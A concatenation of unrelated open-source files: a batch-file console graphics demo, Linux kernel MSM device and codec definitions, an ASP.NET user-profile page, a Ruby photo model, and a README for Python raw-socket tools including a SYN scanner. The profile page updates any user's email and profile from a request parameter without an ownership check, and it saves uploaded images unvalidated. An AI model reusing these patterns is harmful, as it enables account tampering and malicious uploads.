if !MODE!==0 start /B /HIGH cmdgfx_gdi "fbox 0 0 04 180,0,180,80 & fbox 1 %BGCOL% 20 0,0,180,80 & 3d objects/starfield200_0.ply 1,1 0,0,0 !TX!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects/starfield200_1.ply 1,1 0,0,0 !TX2!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects\cube-t2.obj 5,-1 !RX!,!RY!,!RZ! 0,0,0 100,100,100,0,0,0 1,0,0,0 250,31,600,0.75 0 0 db & block 0 0,0,330,80 0,0 -1 0 0 ? ? s0+(eq(s2,46)+eq(s2,4)+eq(s2,32)+eq(s2,0))*1000+store(char(s0,s1),2)+store(-9+y+cos(!YC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*12,1)+store(-17+x+180+sin(!XC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*10,0) s1 from 0,0,180,80 & text 9 0 0 Space_c_\g11\g10\g1e\g1f_Enter 1,78" kOf%FNT%:0,0,!WW!,!H!,!W!,!H!
if !MODE!==1 start /B /HIGH cmdgfx_gdi "fbox 0 0 04 180,0,180,80 & fbox 1 %BGCOL% 20 0,0,180,80 & 3d objects/starfield200_0.ply 1,1 0,0,0 !TX!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects/starfield200_1.ply 1,1 0,0,0 !TX2!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & image img\!I%%i! %%c 0 0 e 180,0 0 0 180,80& block 0 0,0,360,80 0,0 -1 0 0 ? ? s0+(eq(s2,46)+eq(s2,4)+eq(s2,32)+eq(s2,0))*1000+store(char(s0,s1),2)+store(0+y+cos(!YC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*12,1)+store(0+x+180+sin(!XC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*10,0) s1 from 0,0,180,80 & text 9 0 0 Space_c_\g11\g10\g1e\g1f_Enter 1,78" kOf%FNT%:0,0,!WWM!,!H!,!W!,!H!
if exist EL.dat set /p KEY=<EL.dat 2>nul & del /Q EL.dat >nul 2>nul & if "!KEY!" == "" set KEY=0
if !KEY! == 331 set /a XCP-=1 & if !XCP! lss 0 set /a XCP=0
if !KEY! == 333 set /a XCP+=1
if !KEY! == 336 set /a YCP-=1 & if !YCP! lss 0 set /a YCP=0
if !KEY! == 328 set /a YCP+=1
if !KEY! == 112 cmdwiz getch
if !KEY! == 32 set /a IC+=1&if !IC! gtr 10 set /a IC=0
if !KEY! == 99 set /a CC+=1&if !CC! gtr 15 set /a CC=1
if !KEY! == 27 set STOP=1
if !KEY! == 13 set /a MODE=1-!MODE!
set /a XC+=!XCP!, YC+=!YCP!, RX+=5, RY+=7, RZ+=2
set /a KEY=0
set t1=!time: =0!
)
)
if not defined STOP goto REP
endlocal
cmdwiz delay 100 & mode 80,50 & cls
cmdwiz setfont 6 & cmdwiz showcursor 1
del /Q img\btemp.gxy >nul 2>nul
| misol1/cmdgfx | legacy/noserver-wave-cube.bat | Batchfile | gpl-2.0 | 4,147 |
/* Copyright (c) 2011, Code Aurora Forum. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/kernel.h>
#include <linux/platform_device.h>
#include <linux/dma-mapping.h>
#include <linux/msm_kgsl.h>
#include <linux/regulator/machine.h>
#include <mach/irqs.h>
#include <mach/msm_iomap.h>
#include <mach/board.h>
#include <mach/dma.h>
#include <mach/dal_axi.h>
#include <asm/mach/flash.h>
#include <asm/hardware/cache-l2x0.h>
#include <asm/mach/mmc.h>
#include <mach/rpc_hsusb.h>
#include <mach/socinfo.h>
#include "devices.h"
#include "devices-msm7x2xa.h"
#include "footswitch.h"
#include "acpuclock.h"
/* Address of GSBI blocks */
#define MSM_GSBI0_PHYS 0xA1200000
#define MSM_GSBI1_PHYS 0xA1300000
/* GSBI QUPe devices */
#define MSM_GSBI0_QUP_PHYS (MSM_GSBI0_PHYS + 0x80000)
#define MSM_GSBI1_QUP_PHYS (MSM_GSBI1_PHYS + 0x80000)
static struct resource gsbi0_qup_i2c_resources[] = {
{
.name = "qup_phys_addr",
.start = MSM_GSBI0_QUP_PHYS,
.end = MSM_GSBI0_QUP_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "gsbi_qup_i2c_addr",
.start = MSM_GSBI0_PHYS,
.end = MSM_GSBI0_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "qup_err_intr",
.start = INT_PWB_I2C,
.end = INT_PWB_I2C,
.flags = IORESOURCE_IRQ,
},
{
.name = "i2c_clk",
.start = 60,
.end = 60,
.flags = IORESOURCE_IO,
},
{
.name = "i2c_sda",
.start = 61,
.end = 61,
.flags = IORESOURCE_IO,
},
};
/* Use GSBI0 QUP for /dev/i2c-0 */
struct platform_device msm_gsbi0_qup_i2c_device = {
.name = "qup_i2c",
.id = MSM_GSBI0_QUP_I2C_BUS_ID,
.num_resources = ARRAY_SIZE(gsbi0_qup_i2c_resources),
.resource = gsbi0_qup_i2c_resources,
};
static struct resource gsbi1_qup_i2c_resources[] = {
{
.name = "qup_phys_addr",
.start = MSM_GSBI1_QUP_PHYS,
.end = MSM_GSBI1_QUP_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "gsbi_qup_i2c_addr",
.start = MSM_GSBI1_PHYS,
.end = MSM_GSBI1_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "qup_err_intr",
.start = INT_ARM11_DMA,
.end = INT_ARM11_DMA,
.flags = IORESOURCE_IRQ,
},
{
.name = "i2c_clk",
.start = 131,
.end = 131,
.flags = IORESOURCE_IO,
},
{
.name = "i2c_sda",
.start = 132,
.end = 132,
.flags = IORESOURCE_IO,
},
};
/* Use GSBI1 QUP for /dev/i2c-1 */
struct platform_device msm_gsbi1_qup_i2c_device = {
.name = "qup_i2c",
.id = MSM_GSBI1_QUP_I2C_BUS_ID,
.num_resources = ARRAY_SIZE(gsbi1_qup_i2c_resources),
.resource = gsbi1_qup_i2c_resources,
};
#define MSM_HSUSB_PHYS 0xA0800000
static struct resource resources_hsusb_otg[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
static u64 dma_mask = 0xffffffffULL;
struct platform_device msm_device_otg = {
.name = "msm_otg",
.id = -1,
.num_resources = ARRAY_SIZE(resources_hsusb_otg),
.resource = resources_hsusb_otg,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct resource resources_gadget_peripheral[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_gadget_peripheral = {
.name = "msm_hsusb",
.id = -1,
.num_resources = ARRAY_SIZE(resources_gadget_peripheral),
.resource = resources_gadget_peripheral,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct resource resources_hsusb_host[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_hsusb_host = {
.name = "msm_hsusb_host",
.id = 0,
.num_resources = ARRAY_SIZE(resources_hsusb_host),
.resource = resources_hsusb_host,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct platform_device *msm_host_devices[] = {
&msm_device_hsusb_host,
};
int msm_add_host(unsigned int host, struct msm_usb_host_platform_data *plat)
{
struct platform_device *pdev;
pdev = msm_host_devices[host];
if (!pdev)
return -ENODEV;
pdev->dev.platform_data = plat;
return platform_device_register(pdev);
}
static struct resource msm_dmov_resource[] = {
{
.start = INT_ADM_AARM,
.end = (resource_size_t)MSM_DMOV_BASE,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_dmov = {
.name = "msm_dmov",
.id = -1,
.resource = msm_dmov_resource,
.num_resources = ARRAY_SIZE(msm_dmov_resource),
};
struct platform_device msm_device_smd = {
.name = "msm_smd",
.id = -1,
};
static struct resource resources_uart1[] = {
{
.start = INT_UART1,
.end = INT_UART1,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART1_PHYS,
.end = MSM_UART1_PHYS + MSM_UART1_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct resource resources_uart2[] = {
{
.start = INT_UART2,
.end = INT_UART2,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART2_PHYS,
.end = MSM_UART2_PHYS + MSM_UART2_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct resource resources_uart3[] = {
{
.start = INT_UART3,
.end = INT_UART3,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART3_PHYS,
.end = MSM_UART3_PHYS + MSM_UART3_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
struct platform_device msm_device_uart1 = {
.name = "msm_serial",
.id = 0,
.num_resources = ARRAY_SIZE(resources_uart1),
.resource = resources_uart1,
};
struct platform_device msm_device_uart2 = {
.name = "msm_serial",
.id = 1,
.num_resources = ARRAY_SIZE(resources_uart2),
.resource = resources_uart2,
};
struct platform_device msm_device_uart3 = {
.name = "msm_serial",
.id = 2,
.num_resources = ARRAY_SIZE(resources_uart3),
.resource = resources_uart3,
};
#define MSM_UART1DM_PHYS 0xA0200000
static struct resource msm_uart1_dm_resources[] = {
{
.start = MSM_UART1DM_PHYS,
.end = MSM_UART1DM_PHYS + PAGE_SIZE - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_UART1DM_IRQ,
.end = INT_UART1DM_IRQ,
.flags = IORESOURCE_IRQ,
},
{
.start = INT_UART1DM_RX,
.end = INT_UART1DM_RX,
.flags = IORESOURCE_IRQ,
},
{
.start = DMOV_HSUART1_TX_CHAN,
.end = DMOV_HSUART1_RX_CHAN,
.name = "uartdm_channels",
.flags = IORESOURCE_DMA,
},
{
.start = DMOV_HSUART1_TX_CRCI,
.end = DMOV_HSUART1_RX_CRCI,
.name = "uartdm_crci",
.flags = IORESOURCE_DMA,
},
};
static u64 msm_uart_dm1_dma_mask = DMA_BIT_MASK(32);
struct platform_device msm_device_uart_dm1 = {
.name = "msm_serial_hs",
.id = 0,
.num_resources = ARRAY_SIZE(msm_uart1_dm_resources),
.resource = msm_uart1_dm_resources,
.dev = {
.dma_mask = &msm_uart_dm1_dma_mask,
.coherent_dma_mask = DMA_BIT_MASK(32),
},
};
#define MSM_UART2DM_PHYS 0xA0300000
static struct resource msm_uart2dm_resources[] = {
{
.start = MSM_UART2DM_PHYS,
.end = MSM_UART2DM_PHYS + PAGE_SIZE - 1,
.name = "uartdm_resource",
.flags = IORESOURCE_MEM,
},
{
.start = INT_UART2DM_IRQ,
.end = INT_UART2DM_IRQ,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_uart_dm2 = {
.name = "msm_serial_hsl",
.id = 0,
.num_resources = ARRAY_SIZE(msm_uart2dm_resources),
.resource = msm_uart2dm_resources,
};
#define MSM_NAND_PHYS 0xA0A00000
#define MSM_NANDC01_PHYS 0xA0A40000
#define MSM_NANDC10_PHYS 0xA0A80000
#define MSM_NANDC11_PHYS 0xA0AC0000
#define EBI2_REG_BASE 0xA0D00000
static struct resource resources_nand[] = {
[0] = {
.name = "msm_nand_dmac",
.start = DMOV_NAND_CHAN,
.end = DMOV_NAND_CHAN,
.flags = IORESOURCE_DMA,
},
[1] = {
.name = "msm_nand_phys",
.start = MSM_NAND_PHYS,
.end = MSM_NAND_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[2] = {
.name = "msm_nandc01_phys",
.start = MSM_NANDC01_PHYS,
.end = MSM_NANDC01_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[3] = {
.name = "msm_nandc10_phys",
.start = MSM_NANDC10_PHYS,
.end = MSM_NANDC10_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[4] = {
.name = "msm_nandc11_phys",
.start = MSM_NANDC11_PHYS,
.end = MSM_NANDC11_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[5] = {
.name = "ebi2_reg_base",
.start = EBI2_REG_BASE,
.end = EBI2_REG_BASE + 0x60,
.flags = IORESOURCE_MEM,
},
};
struct flash_platform_data msm_nand_data;
struct platform_device msm_device_nand = {
.name = "msm_nand",
.id = -1,
.num_resources = ARRAY_SIZE(resources_nand),
.resource = resources_nand,
.dev = {
.platform_data = &msm_nand_data,
},
};
#define MSM_SDC1_BASE 0xA0400000
#define MSM_SDC2_BASE 0xA0500000
#define MSM_SDC3_BASE 0xA0600000
#define MSM_SDC4_BASE 0xA0700000
static struct resource resources_sdc1[] = {
{
.start = MSM_SDC1_BASE,
.end = MSM_SDC1_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC1_0,
.end = INT_SDC1_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC1_CHAN,
.end = DMOV_SDC1_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC1_CRCI,
.end = DMOV_SDC1_CRCI,
.flags = IORESOURCE_DMA,
}
};
static struct resource resources_sdc2[] = {
{
.start = MSM_SDC2_BASE,
.end = MSM_SDC2_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC2_0,
.end = INT_SDC2_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC2_CHAN,
.end = DMOV_SDC2_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC2_CRCI,
.end = DMOV_SDC2_CRCI,
.flags = IORESOURCE_DMA,
}
};
#ifdef CONFIG_ARCH_MSM7X27A
static struct resource resources_sdc3[] = {
{
.start = MSM_SDC3_BASE,
.end = MSM_SDC3_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC3_0,
.end = INT_SDC3_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC3_CHAN,
.end = DMOV_SDC3_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC3_CRCI,
.end = DMOV_SDC3_CRCI,
.flags = IORESOURCE_DMA,
},
};
#else
static struct resource resources_sdc3[] = {
{
.start = MSM_SDC3_BASE,
.end = MSM_SDC3_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC3_0,
.end = INT_SDC3_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC4_CHAN,
.end = DMOV_SDC4_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC4_CRCI,
.end = DMOV_SDC4_CRCI,
.flags = IORESOURCE_DMA,
},
};
#endif
static struct resource resources_sdc4[] = {
{
.start = MSM_SDC4_BASE,
.end = MSM_SDC4_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC4_0,
.end = INT_SDC4_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC3_CHAN,
.end = DMOV_SDC3_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC3_CRCI,
.end = DMOV_SDC3_CRCI,
.flags = IORESOURCE_DMA,
},
};
struct platform_device msm_device_sdc1 = {
.name = "msm_sdcc",
.id = 1,
.num_resources = ARRAY_SIZE(resources_sdc1),
.resource = resources_sdc1,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc2 = {
.name = "msm_sdcc",
.id = 2,
.num_resources = ARRAY_SIZE(resources_sdc2),
.resource = resources_sdc2,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc3 = {
.name = "msm_sdcc",
.id = 3,
.num_resources = ARRAY_SIZE(resources_sdc3),
.resource = resources_sdc3,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc4 = {
.name = "msm_sdcc",
.id = 4,
.num_resources = ARRAY_SIZE(resources_sdc4),
.resource = resources_sdc4,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
static struct platform_device *msm_sdcc_devices[] __initdata = {
&msm_device_sdc1,
&msm_device_sdc2,
&msm_device_sdc3,
&msm_device_sdc4,
};
int __init msm_add_sdcc(unsigned int controller, struct mmc_platform_data *plat)
{
struct platform_device *pdev;
if (controller < 1 || controller > 4)
return -EINVAL;
pdev = msm_sdcc_devices[controller-1];
pdev->dev.platform_data = plat;
return platform_device_register(pdev);
}
#define MDP_BASE 0xAA200000
#define MIPI_DSI_HW_BASE 0xA1100000
static struct resource msm_mipi_dsi_resources[] = {
{
.name = "mipi_dsi",
.start = MIPI_DSI_HW_BASE,
.end = MIPI_DSI_HW_BASE + 0x000F0000 - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_DSI_IRQ,
.end = INT_DSI_IRQ,
.flags = IORESOURCE_IRQ,
},
};
static struct platform_device msm_mipi_dsi_device = {
.name = "mipi_dsi",
.id = 1,
.num_resources = ARRAY_SIZE(msm_mipi_dsi_resources),
.resource = msm_mipi_dsi_resources,
};
static struct resource msm_mdp_resources[] = {
{
.name = "mdp",
.start = MDP_BASE,
.end = MDP_BASE + 0x000F1008 - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_MDP,
.end = INT_MDP,
.flags = IORESOURCE_IRQ,
},
};
static struct platform_device msm_mdp_device = {
.name = "mdp",
.id = 0,
.num_resources = ARRAY_SIZE(msm_mdp_resources),
.resource = msm_mdp_resources,
};
static struct platform_device msm_lcdc_device = {
.name = "lcdc",
.id = 0,
};
#ifdef CONFIG_MSM_KGSL_ADRENO200
static struct resource kgsl_3d0_resources[] = {
{
.name = KGSL_3D0_REG_MEMORY,
.start = 0xA0000000,
.end = 0xA001ffff,
.flags = IORESOURCE_MEM,
},
{
.name = KGSL_3D0_IRQ,
.start = INT_GRAPHICS,
.end = INT_GRAPHICS,
.flags = IORESOURCE_IRQ,
},
};
static struct kgsl_device_platform_data kgsl_3d0_pdata = {
.pwrlevel = {
{
.gpu_freq = 245760000,
.bus_freq = 200000000,
},
{
.gpu_freq = 192000000,
.bus_freq = 160000000,
},
{
.gpu_freq = 133330000,
.bus_freq = 0,
},
},
.init_level = 0,
.num_levels = 3,
.set_grp_async = set_grp_xbar_async,
.idle_timeout = HZ,
.strtstp_sleepwake = true,
.nap_allowed = false,
.clk_map = KGSL_CLK_CORE | KGSL_CLK_IFACE | KGSL_CLK_MEM,
};
struct platform_device msm_kgsl_3d0 = {
.name = "kgsl-3d0",
.id = 0,
.num_resources = ARRAY_SIZE(kgsl_3d0_resources),
.resource = kgsl_3d0_resources,
.dev = {
.platform_data = &kgsl_3d0_pdata,
},
};
void __init msm7x25a_kgsl_3d0_init(void)
{
if (cpu_is_msm7x25a() || cpu_is_msm7x25aa()) {
kgsl_3d0_pdata.num_levels = 2;
kgsl_3d0_pdata.pwrlevel[0].gpu_freq = 133330000;
kgsl_3d0_pdata.pwrlevel[0].bus_freq = 160000000;
kgsl_3d0_pdata.pwrlevel[1].gpu_freq = 96000000;
kgsl_3d0_pdata.pwrlevel[1].bus_freq = 0;
}
}
#endif
static void __init msm_register_device(struct platform_device *pdev, void *data)
{
int ret;
pdev->dev.platform_data = data;
ret = platform_device_register(pdev);
if (ret)
dev_err(&pdev->dev,
"%s: platform_device_register() failed = %d\n",
__func__, ret);
}
void __init msm_fb_register_device(char *name, void *data)
{
if (!strncmp(name, "mdp", 3))
msm_register_device(&msm_mdp_device, data);
else if (!strncmp(name, "mipi_dsi", 8))
msm_register_device(&msm_mipi_dsi_device, data);
else if (!strncmp(name, "lcdc", 4))
msm_register_device(&msm_lcdc_device, data);
else
printk(KERN_ERR "%s: unknown device! %s\n", __func__, name);
}
#define PERPH_WEB_BLOCK_ADDR (0xA9D00040)
#define PDM0_CTL_OFFSET (0x04)
#define SIZE_8B (0x08)
static struct resource resources_led[] = {
{
.start = PERPH_WEB_BLOCK_ADDR,
.end = PERPH_WEB_BLOCK_ADDR + (SIZE_8B) - 1,
.name = "led-gpio-pdm",
.flags = IORESOURCE_MEM,
},
};
static struct led_info msm_kpbl_pdm_led_pdata = {
.name = "keyboard-backlight",
};
struct platform_device led_pdev = {
.name = "leds-msm-pdm",
/* use pdev id to represent pdm id */
.id = 0,
.num_resources = ARRAY_SIZE(resources_led),
.resource = resources_led,
.dev = {
.platform_data = &msm_kpbl_pdm_led_pdata,
},
};
struct platform_device asoc_msm_pcm = {
.name = "msm-dsp-audio",
.id = 0,
};
struct platform_device asoc_msm_dai0 = {
.name = "msm-codec-dai",
.id = 0,
};
struct platform_device asoc_msm_dai1 = {
.name = "msm-cpu-dai",
.id = 0,
};
int __init msm7x2x_misc_init(void)
{
msm_clock_init(&msm7x27a_clock_init_data);
if (cpu_is_msm7x27aa())
acpuclk_init(&acpuclk_7x27aa_soc_data);
else
acpuclk_init(&acpuclk_7x27a_soc_data);
return 0;
}
#ifdef CONFIG_CACHE_L2X0
static int __init msm7x27x_cache_init(void)
{
int aux_ctrl = 0;
/* Way Size 010(0x2) 32KB */
aux_ctrl = (0x1 << L2X0_AUX_CTRL_SHARE_OVERRIDE_SHIFT) | \
(0x2 << L2X0_AUX_CTRL_WAY_SIZE_SHIFT) | \
(0x1 << L2X0_AUX_CTRL_EVNT_MON_BUS_EN_SHIFT);
l2x0_init(MSM_L2CC_BASE, aux_ctrl, L2X0_AUX_CTRL_MASK);
return 0;
}
#else
static int __init msm7x27x_cache_init(void){ return 0; }
#endif
void __init msm_common_io_init(void)
{
msm_map_common_io();
msm7x27x_cache_init();
if (socinfo_init() < 0)
pr_err("%s: socinfo_init() failed!\n", __func__);
}
struct platform_device *msm_footswitch_devices[] = {
FS_PCOM(FS_GFX3D, "fs_gfx3d"),
};
unsigned msm_num_footswitch_devices = ARRAY_SIZE(msm_footswitch_devices);
| cuteprince/ics_kernel_3.0.16_htc_pico | arch/arm/mach-msm/devices-msm7x27a.c | C | gpl-2.0 | 17,688 |
using System;
using System.Globalization;
using System.IO;
using System.Security.Permissions;
using System.Security.Policy;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class UserProfile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
if (Request["User"] == null)
{
Response.Redirect("MainPage.aspx");
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
Response.Redirect("MainPage.aspx");
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
Response.Redirect("MainPage.aspx");
return;
}
InitControlsVisibility(userId);
PopulateShowProfileControls(membershipUser);
PopulateEditProfileControls(membershipUser);
}
}
private void InitControlsVisibility(Guid userId)
{
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
lvShowChecker.Visible = UserInteraction.CheckIfIdIsLoggedUser(userId);
lvEditChecker.Visible = lvShowChecker.Visible;
}
private void PopulateShowProfileControls(MembershipUser membershipUser)
{
if (membershipUser == null)
{
return;
}
var userProfile = Profile.GetProfile(membershipUser.UserName);
lblUsernameShow.Text = membershipUser.UserName;
lblFirstNameShow.Text = userProfile.FirstName;
lblLastNameShow.Text = userProfile.LastName;
lblBirthDateShow.Text = userProfile.BirthDate.HasValue ? userProfile.BirthDate.Value.ToString("dd MMMMM yyyy", CultureInfo.CreateSpecificCulture("en-us")) : string.Empty;
lblAgeShow.Text = userProfile.BirthDate.HasValue
? ((DateTime.Now - userProfile.BirthDate.Value).Days / 365).ToString()
: string.Empty;
hlEmailShow.Text = membershipUser.Email;
hlEmailShow.NavigateUrl = string.Format("mailto:{0}", membershipUser.Email);
lblRoleShow.Text = Roles.GetRolesForUser(membershipUser.UserName)[0];
if (membershipUser.ProviderUserKey != null)
{
imgUserProfileImageShow.ImageUrl = UserInteraction.MakeProfileUrl((Guid)membershipUser.ProviderUserKey);
}
imgUserProfileImageShow.ImageAlign = ImageAlign.Middle;
}
private void PopulateEditProfileControls(MembershipUser membershipUser)
{
if (membershipUser == null)
{
return;
}
var userProfile = Profile.GetProfile(membershipUser.UserName);
lblUsernameEdit.Text = membershipUser.UserName;
tbFirstNameEdit.Text = userProfile.FirstName;
tbLastNameEdit.Text = userProfile.LastName;
tbBirthDateEdit.Text = userProfile.BirthDate.HasValue ? userProfile.BirthDate.Value.ToString("dd MMMMM yyyy", CultureInfo.CreateSpecificCulture("en-us")) : string.Empty;
lblAgeEdit.Text = userProfile.BirthDate.HasValue
? ((DateTime.Now - userProfile.BirthDate.Value).Days / 365).ToString()
: string.Empty;
tbEmailEdit.Text = membershipUser.Email;
lblRoleEdit.Text = Roles.GetRolesForUser(membershipUser.UserName)[0];
if (membershipUser.ProviderUserKey != null)
{
imgUserProfileImageEdit.ImageUrl = UserInteraction.MakeProfileUrl((Guid)membershipUser.ProviderUserKey);
}
imgUserProfileImageEdit.ImageAlign = ImageAlign.Middle;
}
protected void EditButtonClick(object sender, EventArgs e)
{
pnlEditProfile.Visible = true;
pnlShowProfile.Visible = false;
}
protected void CancelButtonClick(object sender, EventArgs e)
{
if (Request["User"] == null)
{
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
return;
}
PopulateEditProfileControls(membershipUser);
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
}
protected void UpdateButtonClick(object sender, EventArgs e)
{
if (Request["User"] == null)
{
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
return;
}
membershipUser.Email = tbEmailEdit.Text;
var userProfile = Profile.GetProfile(membershipUser.UserName);
userProfile.FirstName = tbFirstNameEdit.Text;
userProfile.LastName = tbLastNameEdit.Text;
if (!string.IsNullOrWhiteSpace(tbBirthDateEdit.Text))
{
userProfile.BirthDate = DateTime.Parse(tbBirthDateEdit.Text);
}
if (fuUserProfileImage.HasFile)
{
var filePath = Server.MapPath("ProfileImages") + Path.DirectorySeparatorChar + membershipUser.ProviderUserKey;
fuUserProfileImage.SaveAs(filePath);
userProfile.ProfilePicture = "/ForumWebsite" + "/" + "ProfileImages" + "/" + membershipUser.ProviderUserKey;
}
userProfile.Save();
PopulateEditProfileControls(membershipUser);
PopulateShowProfileControls(membershipUser);
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
}
} | botezatumihaicatalin/Asp.net-Forum | Profile.aspx.cs | C# | gpl-2.0 | 5,818 |
# coding: utf-8
class Photo
include Mongoid::Document
include Mongoid::Timestamps
include Mongoid::BaseModel
field :image
belongs_to :user
ACCESSABLE_ATTRS = [:image]
# 封面图
mount_uploader :image, PhotoUploader
end
| alanlong9278/ruby-china-message | app/models/photo.rb | Ruby | gpl-2.0 | 257 |
# pyraw
python and raw sockets
author: deadc0de6
A simple python script using raw sockets and epoll for fast processing packets
Some example of implementations using scapy to forge the packets:
- *ping.py* - a simple ping implementation
- *syn-scanner.py* - a basic SYN scanner
- *naive-traceroute.py* - a naive tracerouter with multiple protocols (tcp, udp, icmp)
| deadc0de6/pyraw | README.md | Markdown | gpl-2.0 | 370 |
/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/firmware.h>
#include <linux/slab.h>
#include <linux/platform_device.h>
#include <linux/device.h>
#include <linux/printk.h>
#include <linux/ratelimit.h>
#include <linux/debugfs.h>
#include <linux/wait.h>
#include <linux/bitops.h>
#include <linux/mfd/wcd9xxx/core.h>
#include <linux/mfd/wcd9xxx/wcd9xxx_registers.h>
#include <linux/mfd/wcd9xxx/wcd9306_registers.h>
#include <linux/mfd/wcd9xxx/pdata.h>
#include <linux/regulator/consumer.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#include <sound/soc.h>
#include <sound/soc-dapm.h>
#include <sound/tlv.h>
#include <linux/bitops.h>
#include <linux/delay.h>
#include <linux/pm_runtime.h>
#include <linux/kernel.h>
#include <linux/gpio.h>
#include "wcd9306.h"
#include "wcd9xxx-resmgr.h"
#include "wcd9xxx-common.h"
#define TAPAN_HPH_PA_SETTLE_COMP_ON 5000
